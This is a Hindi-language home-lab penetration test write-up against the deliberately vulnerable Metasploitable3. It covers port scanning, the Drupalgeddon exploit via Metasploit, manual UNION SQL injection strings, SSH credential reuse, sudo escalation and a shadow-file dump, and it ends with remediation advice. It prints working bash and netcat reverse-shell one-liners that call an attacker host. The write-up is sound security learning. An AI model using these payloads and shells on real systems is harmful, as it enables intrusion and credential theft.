
होम-लैब पेनेट्रेशन टेस्ट रिपोर्ट Metasploitable3 की, जिसमें Nmap रेकॉन, Drupalgeddon RCE, SQL इंजेक्शन, SSH क्रेडेंशियल रीयूज़, sudo प्रिविलेज एस्केलेशन, और रिवर्स शेल्स शामिल हैं।
लेखक: Arlen Fortunato
दिनांक: सितंबर 2026
वातावरण: Parrot OS (हमलावर) → Metasploitable3 Ubuntu 14.04 (लक्ष्य)
दायरा: पूर्ण नेटवर्क पेनेट्रेशन टेस्ट — एन्यूमरेशन, एक्सप्लॉइटेशन, privesc, पोस्ट-एक्सप्लॉइटेशन
प्रकार: होम लैब / कैप्चर द फ्लैग अभ्यास
⚠️ नीचे दिए गए सभी क्रेडेंशियल्स redacted हैं। यह एक वैध, पृथक होम-लैब अभ्यास था।
| उपकरण | भूमिका |
|---|---|
| Nmap | पोर्ट स्कैन, सेवा/संस्करण पहचान, OS फिंगरप्रिंट |
| Metasploit (msfconsole) | एक्सप्लॉइटेशन (CVE-2014-3704), सेशन प्रबंधन |
| msfvenom | पेलोड जनरेशन (bash/netcat रिवर्स शेल) |
| nc (netcat) | रिवर्स शेल लिसनर |
| curl / sed | मैनुअल SQLi निर्माण + HTML आउटपुट फॉर्मेटिंग |
| ssh / scp | रिमोट एक्सेस, क्रेडेंशियल सत्यापन |
| openssl s_client | TLS/SSL सेवा सत्यापन |
| gobuster | डायरेक्टरी ब्रूट-फोर्सिंग (वेब एन्यूमरेशन) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
भेद्यता: UnrealIRCd 3.2.8.1 ऐतिहासिक रूप से एक ट्रोजनयुक्त बाइनरी के साथ वितरित किया गया था जो अनधिकृत क्लाइंट द्वारा पंजीकरण से पहले ट्रिगर स्ट्रिंग भेजने पर मनमाने कमांड निष्पादित करता है — IRC डेमन उपयोगकर्ता के रूप में RCE।
एक्सप्लॉइटेशन प्रयास: Metasploit मॉड्यूल exploit/unix/irc/unreal_ircd_3281_backdoor पेलोड cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash के साथ। मॉड्यूल ऑटो-चेक ने सेवा को भेद्य बताया; किसी भी पेलोड पर कोई सेशन वापस नहीं आया।
किए गए ट्रबलशूटिंग:
nc -vz)openssl s_client)nc के माध्यम से मैनुअल बैकडोर ट्रिगर ने IRC प्रोटोकॉल त्रुटि 451 लौटाई — कमांड को IRC कमांड के रूप में पार्स किया गया, कभी निष्पादित नहीं हुआनिष्कर्ष: संस्करण बैनर भेद्य बिल्ड को इंगित करता है, लेकिन इस इंस्टेंस में बैकडोर अनुपस्थित है (स्वच्छ/पुनःसंकलित बाइनरी)। साक्ष्य के साथ गैर-शोषणीय — फॉल्स पॉज़िटिव के रूप में वर्गीकृत।
भेद्यता: Drupal 7.x 7.32 से पहले डेटाबेस एब्स्ट्रैक्शन लेयर में एक गंभीर SQL इंजेक्शन शामिल है जो अनधिकृत रिमोट कोड निष्पादन को सक्षम बनाता है।
संस्करण पुष्टि: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
एक्सप्लॉइटेशन:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
परिणाम:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
पोस्ट-एक्सप्लॉइटेशन एन्यूमरेशन:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 उपयोगकर्ता खातेभेद्यता: payroll_app.php लॉगिन फॉर्म, पासवर्ड फ़ील्ड में SQL इंजेक्शन। कोई ऑटोमेशन उपयोग नहीं किया गया — curl के माध्यम से निर्मित।
चरण 1 — प्रमाणीकरण बायपास:
' or 1=1#
' SQL स्ट्रिंग को बंद करता है, or 1=1 को सत्य बाध्य करता है, # पीछे के कोट को कमेंट कर देता है।
चरण 2 — कॉलम गणना + डिस्प्ले मैपिंग:
' UNION SELECT null, null, null, null# -- कोई त्रुटि नहीं = 4 कॉलम
' UNION SELECT 1, 2, 3, 4# -- मार्कर: 1=Username, 2=First, 3=Last, 4=Salary
चरण 3 — information_schema एन्यूमरेशन:
| प्रश्न | उत्तर |
|---|---|
| DB संस्करण / उपयोगकर्ता | MySQL 5.5.62, root@localhost |
चरण 4 — डंप (पासवर्ड redacted):
' UNION SELECT username, password, salary, null FROM users#
पथ 1 — डिफ़ॉल्ट खाता: डिफ़ॉल्ट vagrant क्रेडेंशियल जोड़ी SSH पर प्रमाणित → sudo समूह में उपयोगकर्ता (ALL : ALL) NOPASSWD: ALL के साथ।
पथ 2 — क्रेडेंशियल पुनःउपयोग: SQLi डंप से एकत्र किए गए क्रेडेंशियल सीधे SSH पर एक अन्य लैब उपयोगकर्ता (luke_skywalker, sudo समूह, (ALL : ALL) ALL) के रूप में प्रमाणित।
महत्व: क्रॉस-सर्विस क्रेडेंशियल पुनःउपयोग प्रदर्शित करता है — एप्लिकेशन क्रेडेंशियल एक सिस्टम खाते से मैप किए गए।
vagrant → sudo -l दिखाता है NOPASSWD: ALL → sudo su - → uid=0(root)।luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)।किसी स्थानीय एक्सप्लॉइट की आवश्यकता नहीं — दोनों खातों में अत्यधिक अनुमतिपूर्ण sudo अनुदान हैं।
sudo cat /etc/shadow
16 md5crypt ($1$) हैश निकाले गए — प्रिवेस्क के बाद पूर्ण क्रेडेंशियल संग्रह।
पेलोड 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
nc -lnvp 4444 पर कैप्चर → इंटरैक्टिव शेल।
पेलोड 2 — netcat (नेम्ड-पाइप):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
nc -lnvp 4445 पर कैप्चर → इंटरैक्टिव शेल।
तंत्र: नेम्ड पाइप (FIFO) netcat stdin/stdout को /bin/sh से जोड़ता है, एक सिंगल-सॉकेट द्विदिशात्मक टनल बनाता है; बाद में FIFO साफ किया गया।
सभी परीक्षण विशेष रूप से एक पृथक होम लैब में जानबूझकर भेद्य सॉफ़्टवेयर (Rapid7 Metasploitable3) का उपयोग करके किए गए थे। किसी उत्पादन प्रणाली या अनधिकृत लक्ष्य को शामिल नहीं किया गया। यह रिपोर्ट केवल शैक्षिक उद्देश्यों और व्यक्तिगत कौशल विकास के लिए है।
| पोर्ट | स्थिति | सेवा | संस्करण |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (अनधिकृत) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | भेद्यता | CVE / प्रकार | पोर्ट | गंभीरता | परिणाम |
|---|
| 1 | UnrealIRCd संस्करण फिंगरप्रिंट — बैकडोर प्रोब | CVE-2010-2075 | 6697 | ⚠️ फॉल्स पॉज़िटिव | मॉड्यूल ऑटो-चेक पास, मैनुअल प्रोब विफल — बिल्ड में बैकडोर अनुपस्थित |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 क्रिटिकल | www-data के रूप में Meterpreter शेल |
| 3 | Payroll ऐप — UNION SQLi (मैनुअल) | मैनुअल इंजेक्शन | 80 | 🔴 क्रिटिकल | पूर्ण DB डंप (15 उपयोगकर्ता, plaintext पासवर्ड — redacted) |
| 4 | SSH — डिफ़ॉल्ट + पुनःप्रयुक्त क्रेडेंशियल | डिफ़ॉल्ट / क्रेडेंशियल पुनःउपयोग | 22 | 🔴 क्रिटिकल | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | प्रिविलेज एस्केलेशन (दो पथ) | गलत कॉन्फ़िगर किया गया sudo | N/A | 🔴 क्रिटिकल | दोनों खातों के माध्यम से root |
| 6 | Shadow डंप | पोस्ट-एक्सप्लॉइटेशन | N/A | 🔴 क्रिटिकल | 16 md5crypt हैश निकाले गए |
| 7 | रिवर्स शेल (bash + netcat) | msfvenom / मैनुअल निर्माण | 4444/4445 | 🟠 उच्च | हमलावर लिसनर पर इंटरैक्टिव शेल प्राप्त |
| डेटाबेस | information_schema, drupal, mysql, payroll, performance_schema |
payroll में टेबल | users |
users में कॉलम | username, first_name, last_name, password, salary |
| उपयोगकर्ता नाम | पासवर्ड | वेतन |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 और खाते) | [REDACTED] | — |
| निष्कर्ष | सिफारिश |
|---|
| UnrealIRCd संस्करण फिंगरप्रिंट | बाइनरी स्रोत अखंडता सत्यापित करें (चेकसम); अपग्रेड या हटाएं |
| Drupal 7.5 | नवीनतम स्थिर संस्करण में अपग्रेड करें; SA-CORE-2014-005 लागू करें |
| Payroll SQLi | पैरामीटराइज़्ड क्वेरी / प्रीपेयर्ड स्टेटमेंट; इनपुट सत्यापित करें |
| डिफ़ॉल्ट SSH क्रेडेंशियल | डिफ़ॉल्ट खाते रोटेट/हटाएं; की-आधारित प्रमाणीकरण लागू करें |
| Sudo अति-विशेषाधिकार | न्यूनतम विशेषाधिकार लागू करें; NOPASSWD व्यापक अनुदान हटाएं |
| क्रेडेंशियल पुनःउपयोग | प्रति सेवा अद्वितीय पासवर्ड लागू करें; पासवर्ड नीति |
| कमजोर पासवर्ड हैशिंग | md5crypt → bcrypt / Argon2id में माइग्रेट करें |